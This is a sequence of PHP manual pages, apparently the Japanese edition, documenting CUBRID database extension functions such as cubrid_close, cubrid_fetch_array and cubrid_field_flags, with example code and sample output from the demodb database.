  • ≪ cubrid_affected_rows
  • cubrid_close ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Return the current CUBRID connection charset

cubrid_client_encoding

(PECL CUBRID >= 8.3.1)

cubrid_client_encoding — Return the current CUBRID connection charset

説明

cubrid_client_encoding ( resource $conn_identifier = ? ) : string

This function returns the current CUBRID connection charset and is similar to the CUBRID function cubrid_get_charset().

パラメータ

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last link opened by cubrid_connect() is assumed.

返り値

A string that represents the CUBRID connection charset; on success.

false on failure.

例

例1 cubrid_client_encoding() example

<?php

$con = cubrid_connect("localhost", 33000, "demodb");
if (!$con)
{
    die('Could not connect.');
}

printf("CUBRID current charset: %s\n", cubrid_client_encoding($con));

?>

上の例の出力は以下となります。

CUBRID current charset: iso8859-1

参考

  • cubrid_get_charset() - Return the current CUBRID connection charset

User Contributed Notes

There are no user contributed notes for this page.


Close CUBRID connection

  • ≪ cubrid_client_encoding
  • cubrid_data_seek ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Close CUBRID connection

cubrid_close

(PECL CUBRID >= 8.3.1)

cubrid_close — Close CUBRID connection

説明

cubrid_close ( resource $conn_identifier = ? ) : bool

The cubrid_close() function ends the transaction currently in process, closes the connection handle and disconnects from server. If there is any request handles not closed yet at this point, they will be closed. It is similar to the CUBRID function cubrid_disconnect().

パラメータ

conn_identifier

The CUBRID connection identifier. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_close() example

<?php
$con = cubrid_connect ("localhost", 33000, "demodb");
if ($con) {
   echo "connected successfully";
   $req = cubrid_execute ( $con, "insert into person values(1,'James')");
   if ($req) {
      cubrid_close_request ($req);
      cubrid_commit ($con);
   } else {
      cubrid_rollback ($con);
   }
   cubrid_close ($con);
}
?>

参考

  • cubrid_disconnect() - Close a database connection
  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_connect_with_url() - Establish the environment for connecting to CUBRID server

User Contributed Notes

There are no user contributed notes for this page.


Move the internal row pointer of the CUBRID result

  • ≪ cubrid_close
  • cubrid_db_name ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Move the internal row pointer of the CUBRID result

cubrid_data_seek

(PECL CUBRID >= 8.3.0)

cubrid_data_seek — Move the internal row pointer of the CUBRID result

説明

cubrid_data_seek ( resource $result , int $row_number ) : bool

This function performs the moving of the internal row pointer of the CUBRID result (associated with the specified result identifier) to point to a specific row number. There are functions, such as cubrid_fetch_assoc(), which use the current stored value of row number.

パラメータ

result

The result.

row_number

This is the desired row number of the new result pointer.

返り値

Returns true on success or false on failure.

例

例1 cubrid_data_seek() example

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code");
cubrid_data_seek($req, 0);

$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_data_seek($req, 2);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_data_seek($req, 4);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

array(2) {
  [0]=>
  string(1) "X"
  [1]=>
  string(5) "Mixed"
}
array(2) {
  [0]=>
  string(1) "M"
  [1]=>
  string(3) "Man"
}
array(2) {
  [0]=>
  string(1) "S"
  [1]=>
  string(6) "Silver"
}

User Contributed Notes

There are no user contributed notes for this page.


Get db name from results of cubrid_list_dbs

  • ≪ cubrid_data_seek
  • cubrid_errno ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Get db name from results of cubrid_list_dbs

cubrid_db_name

(PECL CUBRID >= 8.3.1)

cubrid_db_name — Get db name from results of cubrid_list_dbs

説明

cubrid_db_name ( array $result , int $index ) : string

Retrieve the database name from a call to cubrid_list_dbs().

パラメータ

result

The result pointer from a call to cubrid_list_dbs().

index

The index into the result set.

返り値

Returns the database name on success, and false on failure. If false is returned, use cubrid_error() to determine the nature of the error.

例

例1 cubrid_db_name() example

<?php
error_reporting(E_ALL);

$conn = cubrid_connect('localhost', 33000, 'demodb', 'dba', '');
$db_list = cubrid_list_dbs($conn);

$i = 0;
$cnt = count($db_list);
while ($i < $cnt) {
    echo cubrid_db_name($db_list, $i) . "\n";
    $i++;
}
?>

上の例の出力は以下となります。

demodb

参考

  • cubrid_list_dbs() - Return an array with the list of all existing CUBRID databases

User Contributed Notes

There are no user contributed notes for this page.


Return the numerical value of the error message from previous CUBRID operation

  • ≪ cubrid_db_name
  • cubrid_error ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Return the numerical value of the error message from previous CUBRID operation

cubrid_errno

(PECL CUBRID >= 8.3.1)

cubrid_errno — Return the numerical value of the error message from previous CUBRID operation

説明

cubrid_errno ( resource $conn_identifier = ? ) : int

Returns the error number from the last CUBRID function.

The cubrid_errno() function is used to get the error code of the error that occurred during the API execution. Usually, it gets the error code when API returns false as its return value.

パラメータ

conn_identifier

The CUBRID connection identifier. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

返り値

Returns the error number from the last CUBRID function, or 0 (zero) if no error occurred.

例

例1 cubrid_errno() example

<?php
$con = cubrid_connect('localhost', 33000, 'demodb', 'dba', '');
$req = cubrid_execute($con, "select id, name from person");
if ($req) {
    while (list ($id, $name) = cubrid_fetch($req))
    echo $id, $name;
} else {
    echo "Error Code: ", cubrid_errno($con);
    echo "Error Message: ", cubrid_error($con);
}
?>

上の例の出力は以下となります。

Error Code: -493 Error Message: Syntax: Unknown class "person". select id, [name] from person

参考

  • cubrid_error() - Get the error message
  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_msg() - Get last error message for the most recent function call

User Contributed Notes

There are no user contributed notes for this page.


Get the error message

  • ≪ cubrid_errno
  • cubrid_fetch_array ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Get the error message

cubrid_error

(PECL CUBRID >= 8.3.1)

cubrid_error — Get the error message

説明

cubrid_error ( resource $connection = ? ) : string

The cubrid_error() function is used to get the error message that occurred during the use of CUBRID API. Usually, it gets error message when API returns false as its return value.

パラメータ

connection

The CUBRID connection.

返り値

Error message that occurred.

例

例1 cubrid_error() example

<?php
$con = cubrid_connect('localhost', 33000, 'demodb', 'dba', '');
$req = cubrid_execute($con, "select id, name from person");
if ($req) {
    while (list ($id, $name) = cubrid_fetch($req))
    echo $id, $name;
} else {
    echo "Error Code: ", cubrid_errno($con);
    echo "Error Message: ", cubrid_error($con);
}
?>

上の例の出力は以下となります。

Error Code: -493 Error Message: Syntax: Unknown class "person". select id, [name] from person

参考

  • cubrid_errno() - Return the numerical value of the error message from previous CUBRID operation
  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_msg() - Get last error message for the most recent function call

User Contributed Notes

There are no user contributed notes for this page.


Fetch a result row as an associative array, a numeric array, or both

  • ≪ cubrid_error
  • cubrid_fetch_assoc ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Fetch a result row as an associative array, a numeric array, or both

cubrid_fetch_array

(PECL CUBRID >=8.3.0)

cubrid_fetch_array — Fetch a result row as an associative array, a numeric array, or both

説明

cubrid_fetch_array ( resource $result , int $type = CUBRID_BOTH ) : array

The cubrid_fetch_array() function is used to get a single row from the query result and returns an array. The cursor automatically moves to the next row after getting the result.

パラメータ

result

Result comes from a call to cubrid_execute()

type

Array type of the fetched result CUBRID_NUM, CUBRID_ASSOC, CUBRID_BOTH. If you need to operate the lob object, you can use CUBRID_LOB.

返り値

Returns an array of strings that corresponds to the fetched row, when process is successful.

false, when there are no more rows; NULL, when process is unsuccessful.

The type of returned array depends on how type is defined. By using CUBRID_BOTH (default), you'll get an array with both associative and number indices, and you can decide which data type to use by setting the type argument. The type variable can be set to one of the following values:

  • CUBRID_NUM : Numerical array (0-based)
  • CUBRID_ASSOC : Associative array
  • CUBRID_BOTH : Numerical & Associative array (default)

例

例1 cubrid_fetch_array() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT name,area,seats,address FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "name", "area", "seats", "address");
while ($row = cubrid_fetch_array($req, CUBRID_NUM)) {
    printf("%-40s %-10s %-6s %-20s\n", $row[0], $row[1], $row[2], $row[3]);
}

// if you want to operate LOB object, you can use cubrid_fetch_array($req, CUBRID_NUM | CUBRID_LOB)

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

name                                     area       seats  address
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

参考

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_fetch() - Fetch the next row from a result set
  • cubrid_fetch_row() - Return a numerical array with the values of the current row
  • cubrid_fetch_assoc() - Return the associative array that corresponds to the fetched row
  • cubrid_fetch_object() - Fetch the next row and return it as an object

User Contributed Notes

There are no user contributed notes for this page.


Return the associative array that corresponds to the fetched row

  • ≪ cubrid_fetch_array
  • cubrid_fetch_field ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Return the associative array that corresponds to the fetched row

cubrid_fetch_assoc

(PECL CUBRID >= 8.3.0)

cubrid_fetch_assoc — Return the associative array that corresponds to the fetched row

説明

cubrid_fetch_assoc ( resource $result , int $type = ? ) : array

This function returns the associative array, that corresponds to the fetched row, and then moves the internal data pointer ahead, or returns FALSE when the end is reached.

パラメータ

result

result comes from a call to cubrid_execute()

type

Type can only be CUBRID_LOB, this parameter will be used only when you need to operate the lob object.

返り値

Associative array, when process is successful.

false, when there are no more rows; NULL, when process is unsuccessful.

例

例1 cubrid_fetch_assoc() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT name,area,seats,address FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "name", "area", "seats", "address");
while ($row = cubrid_fetch_assoc($req)) {
    printf("%-40s %-10s %-6s %-20s\n",
        $row["name"], $row["area"], $row["seats"], $row["address"]);
}

// if you want to operate LOB object, you can use cubrid_fetch_assoc($req, CUBRID_LOB)

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

name                                     area       seats  address
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

参考

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_fetch() - Fetch the next row from a result set
  • cubrid_fetch_row() - Return a numerical array with the values of the current row
  • cubrid_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • cubrid_fetch_object() - Fetch the next row and return it as an object

User Contributed Notes

There are no user contributed notes for this page.


Get column information from a result and return as an object

  • ≪ cubrid_fetch_assoc
  • cubrid_fetch_lengths ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Get column information from a result and return as an object

cubrid_fetch_field

(PECL CUBRID >= 8.3.1)

cubrid_fetch_field — Get column information from a result and return as an object

説明

cubrid_fetch_field ( resource $result , int $field_offset = 0 ) : object

This function returns an object with certain properties of the specific column. The properties of the object are:

name

column name

table

name of the table that the column belongs to

def

default value of the column

max_length

maximum length of the column

not_null

1 if the column cannot be NULL

primary_key

1 if the column is a primary key

unique_key

1 if the column is an unique key

multiple_key

1 if the column is a non-unique key

numeric

1 if the column is numeric

blob

1 if the column is a BLOB

type

the type of the column

unsigned

1 if the column is unsigned

zerofill

1 if the column is zero-filled

パラメータ

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. If the field offset is not specified, the next field (that was not yet retrieved by this function) is retrieved. The field_offset starts at 0.

返り値

Object with certain properties of the specific column, when process is successful.

false on failure.

例

例1 cubrid_fetch_field() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT event_code,athlete_code,nation_code,game_date FROM game WHERE host_year=1988 and event_code=20001;");

var_dump(cubrid_fetch_row($req));

cubrid_field_seek($req, 1);
$field = cubrid_fetch_field($req);

printf("\n--- Field Properties ---\n");
printf("%-30s %s\n", "name:", $field->name);
printf("%-30s %s\n", "table:", $field->table);
printf("%-30s \"%s\"\n", "default value:", $field->def);
printf("%-30s %d\n", "max length:", $field->max_length);
printf("%-30s %d\n", "not null:", $field->not_null);
printf("%-30s %d\n", "primary key:", $field->primary_key);
printf("%-30s %d\n", "unique key:", $field->unique_key);
printf("%-30s %d\n", "multiple key:", $field->multiple_key);
printf("%-30s %d\n", "numeric:", $field->numeric);
printf("%-30s %d\n", "blob:", $field->blob);
printf("%-30s %s\n", "type:", $field->type);
printf("%-30s %d\n", "unsigned:", $field->unsigned);
printf("%-30s %d\n", "zerofill:", $field->zerofill);

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

array(4) {
  [0]=>
  string(5) "20001"
  [1]=>
  string(5) "16681"
  [2]=>
  string(3) "KOR"
  [3]=>
  string(9) "1988-9-30"
}

--- Field Properties ---
name:                          athlete_code
table:                         game
default value:                 ""
max length:                    0
not null:                      1
primary key:                   1
unique key:                    1
multiple key:                  0
numeric:                       1
blob:                          0
type:                          integer
unsigned:                      0
zerofill:                      0

User Contributed Notes

There are no user contributed notes for this page.


Return an array with the lengths of the values of each field from the current row

  • ≪ cubrid_fetch_field
  • cubrid_fetch_object ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Return an array with the lengths of the values of each field from the current row

cubrid_fetch_lengths

(PECL CUBRID >= 8.3.0)

cubrid_fetch_lengths — Return an array with the lengths of the values of each field from the current row

説明

cubrid_fetch_lengths ( resource $result ) : array

This function returns an numeric array with the lengths of the values of each field from the current row of the result set or it returns FALSE on failure.

注意:

If field data type is BLOB/CLOB, you should get its length by using cubrid_lob_size().

パラメータ

result

result comes from a call to cubrid_execute()

返り値

An numeric array, when process is successful.

false on failure.

例

例1 cubrid_fetch_lengths() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$row = cubrid_fetch_row($result);
print_r($row);

$lens = cubrid_fetch_lengths($result);
print_r($lens);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

Array
(
    [0] => 2004
    [1] => 20085
    [2] => 15118
    [3] => 30134
    [4] => AUS
    [5] => G
    [6] => 2004-8-20
)
Array
(
    [0] => 4
    [1] => 5
    [2] => 5
    [3] => 5
    [4] => 3
    [5] => 1
    [6] => 10
)

User Contributed Notes

There are no user contributed notes for this page.


Fetch the next row and return it as an object

  • ≪ cubrid_fetch_lengths
  • cubrid_fetch_row ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Fetch the next row and return it as an object

cubrid_fetch_object

(PECL CUBRID >= 8.3.0)

cubrid_fetch_object — Fetch the next row and return it as an object

説明

cubrid_fetch_object ( resource $result , string $class_name = ? , array $params = ? , int $type = ? ) : object

This function returns an object with the column names of the result set as properties. The values of these properties are extracted from the current row of the result.

パラメータ

result

result comes from a call to cubrid_execute()

class_name

The name of the class to instantiate. If not specified, a stdClass (stdClass is PHP's generic empty class that's used when casting other types to objects) object is returned.

params

An optional array of parameters to pass to the constructor for class_name objects.

type

Type can only be CUBRID_LOB, this parameter will be used only when you need to operate the lob object.

返り値

An object, when process is successful.

false, when there are no more rows; NULL, when process is unsuccessful.

例

例1 cubrid_fetch_object() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$res = cubrid_execute($conn, "SELECT * FROM code");

var_dump(cubrid_fetch_object($res));

// if you want to operate LOB object, you can use cubrid_fetch_object($res, CUBRID_LOB)

class demodb_code {
    public $s_name = null;
    public $f_name = null;

    public function toString() {
        var_dump($this);
    }
}

var_dump(cubrid_fetch_object($res, "demodb_code"));

// if you want to operate LOB object, you can use cubrid_fetch_object($res, "demodb_code", CUBRID_LOB)

class demodb_code_construct extends demodb_code {
    public function __construct($s, $f) {
        $this->s_name = $s;
        $this->f_name = $f;
    }
}

var_dump(cubrid_fetch_object($res, 'demodb_code_construct', array('s_name', 'f_name')));

// if you want to operate LOB object, you can use cubrid_fetch_object($res, 'demodb_code_construct', array('s_name', 'f_name'), CUBRID_LOB)

var_dump(cubrid_fetch_object($res));

cubrid_close_request($res);
cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

object(stdClass)#1 (2) {
  ["s_name"]=>
  string(1) "X"
  ["f_name"]=>
  string(5) "Mixed"
}
object(demodb_code)#1 (2) {
  ["s_name"]=>
  string(1) "W"
  ["f_name"]=>
  string(5) "Woman"
}
object(demodb_code_construct)#1 (2) {
  ["s_name"]=>
  string(6) "s_name"
  ["f_name"]=>
  string(6) "f_name"
}
object(stdClass)#1 (2) {
  ["s_name"]=>
  string(1) "B"
  ["f_name"]=>
  string(6) "Bronze"
}

参考

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_fetch() - Fetch the next row from a result set
  • cubrid_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • cubrid_fetch_assoc() - Return the associative array that corresponds to the fetched row
  • cubrid_fetch_row() - Return a numerical array with the values of the current row

User Contributed Notes

There are no user contributed notes for this page.


Return a numerical array with the values of the current row

  • ≪ cubrid_fetch_object
  • cubrid_field_flags ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Return a numerical array with the values of the current row

cubrid_fetch_row

(PECL CUBRID >= 8.3.0)

cubrid_fetch_row — Return a numerical array with the values of the current row

説明

cubrid_fetch_row ( resource $result , int $type = ? ) : array

This function returns a numerical array with the values of the current row from the result set, starting from 0, and moves the internal data pointer ahead.

パラメータ

result

result comes from a call to cubrid_execute()

type

Type can only be CUBRID_LOB, this parameter will be used only when you need to operate the lob object.

返り値

A numerical array, when process is successful.

false, when there are no more rows; NULL, when process is unsuccessful.

例

例1 cubrid_fetch_row() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT name,area,seats,address FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "name", "area", "seats", "address");
while ($row = cubrid_fetch_row($req)) {
    printf("%-40s %-10s %-6s %-20s\n", $row[0], $row[1], $row[2], $row[3]);
}

// if you want to operate LOB object, you can use cubrid_fetch_row($req, CUBRID_LOB)

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

name                                     area       seats  address
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

参考

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_fetch() - Fetch the next row from a result set
  • cubrid_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • cubrid_fetch_assoc() - Return the associative array that corresponds to the fetched row
  • cubrid_fetch_object() - Fetch the next row and return it as an object

User Contributed Notes

There are no user contributed notes for this page.


Return a string with the flags of the given field offset

  • ≪ cubrid_fetch_row
  • cubrid_field_len ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Return a string with the flags of the given field offset

cubrid_field_flags

(PECL CUBRID >= 8.3.0)

cubrid_field_flags — Return a string with the flags of the given field offset

説明

cubrid_field_flags ( resource $result , int $field_offset ) : string

This function returns a string with the flags of the given field offset separated by space. You can split the returned value using explode. The possible flags could be: not_null, primary_key, unique_key, foreign_key, auto_increment, shared, reverse_index, reverse_unique and timestamp.

パラメータ

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

返り値

A string with flags, when process is successful.

false when invalid field_offset value.

-1 if SQL sentence is not SELECT.

例

例1 cubrid_field_flags() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$col_num = cubrid_num_cols($result);

printf("%-30s %s\n", "Field Name", "Field Flags");
for($i = 0; $i < $col_num; $i++) {
    printf("%-30s %s\n", cubrid_field_name($result, $i), cubrid_field_flags($result, $i));
}

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

Field Name                     Field Flags
host_year                      not_null primary_key unique_key
event_code                     not_null primary_key unique_key foreign_key
athlete_code                   not_null primary_key unique_key foreign_key
stadium_code                   not_null
nation_code
medal
game_date

User Contributed Notes

There are no user contributed notes for this page.


Get the maximum length of the specified field

  • ≪ cubrid_field_flags
  • cubrid_field_name ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Get the maximum length of the specified field

cubrid_field_len

(PECL CUBRID >= 8.3.0)

cubrid_field_len — Get the maximum length of the specified field

説明

cubrid_field_len ( resource $result , int $field_offset ) : int

This function returns the maximum length of the specified field on success, or it returns FALSE on failure.

パラメータ

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

返り値

Maximum length, when process is successful.

false on failure.

例

例1 cubrid_field_len() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$column_names = cubrid_column_names($result);
$column_types = cubrid_column_types($result);

printf("%-30s %-30s %-15s\n", "Column Names", "Column Types", "Column Maxlen");
for($i = 0, $size = count($column_names); $i < $size; $i++) {
    $column_len = cubrid_field_len($result, $i);
    printf("%-30s %-30s %-15s\n", $column_names[$i], $column_types[$i], $column_len);
}

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

Column Names                   Column Types                   Column Maxlen
host_year                      integer                        11
event_code                     integer                        11
athlete_code                   integer                        11
stadium_code                   integer                        11
nation_code                    char                           3
medal                          char                           1
game_date                      date                           10

User Contributed Notes

There are no user contributed notes for this page.


Return the name of the specified field index

  • ≪ cubrid_field_len
  • cubrid_field_seek ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Return the name of the specified field index

cubrid_field_name

(PECL CUBRID >= 8.3.0)

cubrid_field_name — Return the name of the specified field index

説明

cubrid_field_name ( resource $result , int $field_offset ) : string

This function returns the name of the specified field index on success or it returns FALSE on failure.

パラメータ

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

返り値

Name of specified field index, on success.

false on failure.

例

例1 cubrid_field_name() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$col_num = cubrid_num_cols($result);

printf("%-30s %s\n", "Field Name", "Field Flags");
for($i = 0; $i < $col_num; $i++) {
    printf("%-30s %s\n", cubrid_field_name($result, $i), cubrid_field_flags($result, $i));
}

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

Field Name                     Field Flags
host_year                      not_null primary_key unique_key
event_code                     not_null primary_key unique_key foreign_key
athlete_code                   not_null primary_key unique_key foreign_key
stadium_code                   not_null
nation_code
medal
game_date

User Contributed Notes

There are no user contributed notes for this page.


Move the result set cursor to the specified field offset

  • ≪ cubrid_field_name
  • cubrid_field_table ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Move the result set cursor to the specified field offset

cubrid_field_seek

(PECL CUBRID >= 8.3.0)

cubrid_field_seek — Move the result set cursor to the specified field offset

説明

cubrid_field_seek ( resource $result , int $field_offset = 0 ) : bool

This function moves the result set cursor to the specified field offset. This offset is used by cubrid_fetch_field() if it doesn't include a field offset. It returns TRUE on success or FALSE on failure.

パラメータ

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

返り値

true on success.

false on failure.

例

例1 cubrid_field_seek() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT event_code,athlete_code,nation_code,game_date FROM game WHERE host_year=1988 and event_code=20001;");

var_dump(cubrid_fetch_row($req));

cubrid_field_seek($req, 1);
$field = cubrid_fetch_field($req);

printf("\n--- Field Properties ---\n");
printf("%-30s %s\n", "name:", $field->name);
printf("%-30s %s\n", "table:", $field->table);
printf("%-30s \"%s\"\n", "default value:", $field->def);
printf("%-30s %d\n", "max length:", $field->max_length);
printf("%-30s %d\n", "not null:", $field->not_null);
printf("%-30s %d\n", "unique key:", $field->unique_key);
printf("%-30s %d\n", "multiple key:", $field->multiple_key);
printf("%-30s %d\n", "numeric:", $field->numeric);
printf("%-30s %s\n", "type:", $field->type);

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

array(4) {
  [0]=>
  string(5) "20001"
  [1]=>
  string(5) "16132"
  [2]=>
  string(3) "KOR"
  [3]=>
  string(9) "1988-09-30"
}

--- Field Properties ---
name:                          athlete_code
table:                         game
default value:                 ""
max length:                    0
not null:                      1
unique key:                    1
multiple key:                  0
numeric:                       1
type:                          integer

User Contributed Notes

There are no user contributed notes for this page.


Return the name of the table of the specified field

  • ≪ cubrid_field_seek
  • cubrid_field_type ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Return the name of the table of the specified field

cubrid_field_table

(PECL CUBRID >= 8.3.0)

cubrid_field_table — Return the name of the table of the specified field

説明

cubrid_field_table ( resource $result , int $field_offset ) : string

This function returns the name of the table of the specified field. This is useful when using large select queries with JOINS.

パラメータ

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

返り値

Name of the table of the specified field, on success.

false when invalid field_offset value.

-1 if SQL sentence is not SELECT.

例

例1 cubrid_field_table() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM code");

$col_num = cubrid_num_cols($result);

printf("%-15s %-15s %s\n", "Field Table", "Field Name", "Field Type");
for($i = 0; $i < $col_num; $i++) {
    printf("%-15s %-15s %s\n",
        cubrid_field_table($result, $i), cubrid_field_name($result, $i), cubrid_field_type($result, $i));
}

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

Field Table     Field Name      Field Type
code            s_name          char
code            f_name          varchar

User Contributed Notes

There are no user contributed notes for this page.


Return the type of the column corresponding to the given field offset

  • ≪ cubrid_field_table
  • cubrid_list_dbs ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Return the type of the column corresponding to the given field offset

cubrid_field_type

(PECL CUBRID >= 8.3.0)

cubrid_field_type — Return the type of the column corresponding to the given field offset

説明

cubrid_field_type ( resource $result , int $field_offset ) : string

This function returns the type of the column corresponding to the given field offset. The returned field type could be one of the following: "int", "real", "string", etc.

パラメータ

result

result comes from a call to cubrid_execute()

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

返り値

Type of the column, on success.

false when invalid field_offset value.

-1 if SQL sentence is not SELECT.

例

例1 cubrid_field_type() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$result = cubrid_execute($conn, "SELECT * FROM code");

$col_num = cubrid_num_cols($result);

printf("%-15s %-15s %s\n", "Field Table", "Field Name", "Field Type");
for($i = 0; $i < $col_num; $i++) {
    printf("%-15s %-15s %s\n",
        cubrid_field_table($result, $i), cubrid_field_name($result, $i), cubrid_field_type($result, $i));
}

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

Field Table     Field Name      Field Type
code            s_name          char
code            f_name          varchar

User Contributed Notes

There are no user contributed notes for this page.


Return an array with the list of all existing CUBRID databases

  • ≪ cubrid_field_type
  • cubrid_num_fields ≫
  • PHP Manual
  • CUBRID MySQL 互換関数
  • Return an array with the list of all existing CUBRID databases

cubrid_list_dbs

(PECL CUBRID >= 8.3.0)

cubrid_list_dbs — Return an array with the list of all existing CUBRID databases

説明

cubrid_list_dbs ( resource $conn_identifier = ? ) : array

This function returns an array with the list of all existing Cubrid databases.

パラメータ

conn_identifier

The CUBRID connection.

返り値

An numeric array with all existing Cubrid databases; on success.

false on failure.

例

例1 cubrid_list_dbs() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$db_list = cubrid_list_dbs($conn);
var_dump($db_list);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

array(1) {
  [0]=>
  string(6) "demodb"
}

User Contributed Notes

There are no user contributed notes for this page.


Return the number of columns in the result set

  • ≪ cubrid_list_dbs
  • cubrid_ping ≫
  • PHP Manual
